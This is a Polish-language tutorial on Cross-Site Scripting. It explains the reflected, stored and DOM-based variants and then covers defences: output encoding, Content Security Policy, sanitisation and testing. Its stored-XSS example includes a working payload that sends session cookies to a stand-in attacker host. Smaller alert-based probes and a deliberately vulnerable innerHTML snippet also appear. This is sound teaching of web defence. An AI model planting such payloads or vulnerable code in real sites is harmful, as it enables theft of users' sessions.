LIVE: New phishing campaigns targeting mobile users —View latest threats →

Back to Tutorials
Zaawansowany 13 min czytania

Cross-Site Scripting (XSS): atak i obrona

Ataki XSS wstrzykują złośliwe skrypty do stron, by kraść tokeny sesji i przekierowywać użytkowników. Poznaj XSS odbity, zapisany i oparty na DOM na prawdziwych przykładach.

15 stycznia 2026

Czym jest Cross-Site Scripting?

Cross-Site Scripting (XSS) to jedna z najbardziej rozpowszechnionych podatności w sieci, od dekad niezmiennie obecna na liście OWASP Top 10. Idea jest prosta, ale groźna: atakujący znajduje sposób, by wstrzyknąć złośliwy JavaScript do strony, którą inni użytkownicy załadują w swoich przeglądarkach. Gdy przeglądarka ofiary wyrenderuje tę stronę, wykona skrypt atakującego z pełnym zaufaniem domeny źródłowej — co oznacza, że skrypt może czytać ciasteczka, kraść tokeny sesji, wysyłać uwierzytelnione żądania, przekierowywać użytkowników czy po cichu rejestrować naciśnięcia klawiszy.

XSS nie jest podatnością po stronie serwera w tradycyjnym sensie. Serwer jest tylko mechanizmem dostarczania. Exploit działa w całości w przeglądarce ofiary.

Trzy rodzaje XSS

XSS odbity (reflected)

XSS odbity występuje, gdy dane wpisane przez użytkownika są od razu zwracane w odpowiedzi serwera bez oczyszczenia. Klasycznym przykładem jest strona wyszukiwania:

GET /search?q=<script>alert(document.cookie)</script>

Jeśli serwer zwróci You searched for: <script>alert(document.cookie)</script> bez zakodowania nawiasów ostrych, przeglądarka wykona ten skrypt. Ładunek jest przenoszony w adresie URL, więc atakujący musi dostarczyć link ofierze — zwykle przez phishing. XSS odbity jest nietrwały: złośliwy skrypt nie jest nigdzie zapisywany, a każda ofiara musi kliknąć spreparowany link.

XSS zapisany (stored)

XSS zapisany (trwały) jest znacznie groźniejszy. Ładunek trafia do bazy danych aplikacji — w komentarzu, nazwie użytkownika, polu profilu czy dowolnym innym zapisywanym polu — i jest serwowany każdemu, kto ogląda tę treść. Jedno udane wstrzyknięcie może przejąć tysiące sesji bez dalszego udziału atakującego. Częstym celem są platformy społecznościowe, fora i systemy zarządzania treścią. Ładunek XSS zapisanego może wyglądać tak:

<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">

Wstawiony do pola komentarza uruchamia się u każdego użytkownika oglądającego stronę.

XSS oparty na DOM

XSS oparty na DOM w ogóle nie dotyka serwera. Podatność istnieje wyłącznie w kodzie JavaScript po stronie klienta, który czyta dane ze źródła kontrolowanego przez atakującego (np. location.hash czy document.referrer) i zapisuje je do niebezpiecznego miejsca (np. innerHTML czy eval). Przykład:

// Vulnerable code
const name = location.hash.slice(1);
document.getElementById('greeting').innerHTML = 'Hello, ' + name;

Wejście na page.html#<img src=x onerror=alert(1)> uruchamia ładunek. Ponieważ ładunek nigdy nie opuszcza przeglądarki, kodowanie danych wyjściowych po stronie serwera nie pomoże — trzeba poprawić sam JavaScript.

Co atakujący mogą zrobić za pomocą XSS

XSS to nie tylko alert(1). Prawdziwe ataki wykorzystują go do:

  • Kradzieży ciasteczek sesji i przejmowania uwierzytelnionych sesji
  • Przechwytywania danych logowania przez wstrzykiwanie fałszywych formularzy logowania na zaufane strony
  • Wykonywania działań w stylu CSRF w imieniu ofiary z wykorzystaniem jej uwierzytelnionej sesji
  • Dostarczania złośliwego oprogramowania drive-by przez przekierowania do zestawów exploitów
  • Kopania kryptowalut po cichu w tle
  • Keyloggingu na stronach bankowych i sklepach internetowych

Obrona: kodowanie danych wyjściowych

Podstawową obroną przed XSS jest kontekstowe kodowanie danych wyjściowych — escapowanie znaków przed wstawieniem niezaufanych danych do strony HTML. Zasady kodowania zależą od kontekstu:

  • Kontekst HTML: koduj <, >, &, ", ' jako encje HTML
  • Kontekst JavaScript: koduj jako JSON lub używaj sekwencji \uXXXX
  • Kontekst URL: koduj wartości procentowo
  • Kontekst CSS: w miarę możliwości nie wstawiaj danych użytkownika do bloków stylów

Nowoczesne frameworki, takie jak React, Angular i Vue, domyślnie kodują dane wyjściowe. Unikaj API wstawiających surowy HTML, takich jak innerHTML, dangerouslySetInnerHTML czy v-html, z niezaufanymi danymi.

Obrona: Content Security Policy

Content Security Policy (CSP) to nagłówek odpowiedzi HTTP, który mówi przeglądarce, z jakich źródeł mogą pochodzić wykonywane skrypty. Silna polityka CSP może zapobiec uruchomieniu wstrzykniętych skryptów, nawet jeśli kodowanie zawiedzie:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'

Najskuteczniejsze jest użycie wartości nonce (losowych tokenów generowanych dla każdego żądania i dodawanych do prawdziwych tagów script). Unikaj unsafe-inline i unsafe-eval — niweczą większość korzyści z CSP. Sprawdź swoją politykę na csp-evaluator.withgoogle.com.

Obrona: walidacja i oczyszczanie danych wejściowych

Walidacja danych wejściowych powinna być drugą linią obrony, a nie pierwszą. Odrzucaj dane niezgodne z oczekiwanym formatem (np. pole e-mail nie powinno akceptować tagów <script>). Gdy musisz dopuścić bogaty HTML (np. w edytorze WYSIWYG), użyj specjalnego narzędzia do oczyszczania, takiego jak DOMPurify, zamiast pisać własną listę dozwolonych elementów — własne mechanizmy oczyszczania są notorycznie łatwe do obejścia.

Ustaw też flagę HttpOnly dla ciasteczek sesji, by JavaScript nie mógł ich odczytać — ograniczy to szkody po udanym ataku XSS.

Testowanie pod kątem XSS

Aby znaleźć XSS we własnych aplikacjach:

  1. Zmapuj każde miejsce, w którym dane użytkownika są zwracane lub zapisywane (parametry URL, pola formularzy, nagłówki HTTP, odpowiedzi JSON)
  2. Sprawdź każde z nich prostą sondą, np. <"'>, i zobacz, jak dane wyjściowe są kodowane
  3. Używaj narzędzi takich jak Burp Suite, OWASP ZAP czy Dalfox do automatycznego skanowania
  4. Ręcznie sprawdzaj miejsca podatne na XSS oparty na DOM, przeglądając JavaScript pod kątem niebezpiecznych wzorców, takich jak innerHTML, document.write i eval

Znaleziska XSS powinny być zawsze traktowane jako poważne w programach bug bounty i testach penetracyjnych — możliwość wykonania dowolnego JavaScriptu w kontekście przeglądarki ofiary to niezwykle potężne narzędzie.

#XSS#web security#JavaScript#OWASP#secure coding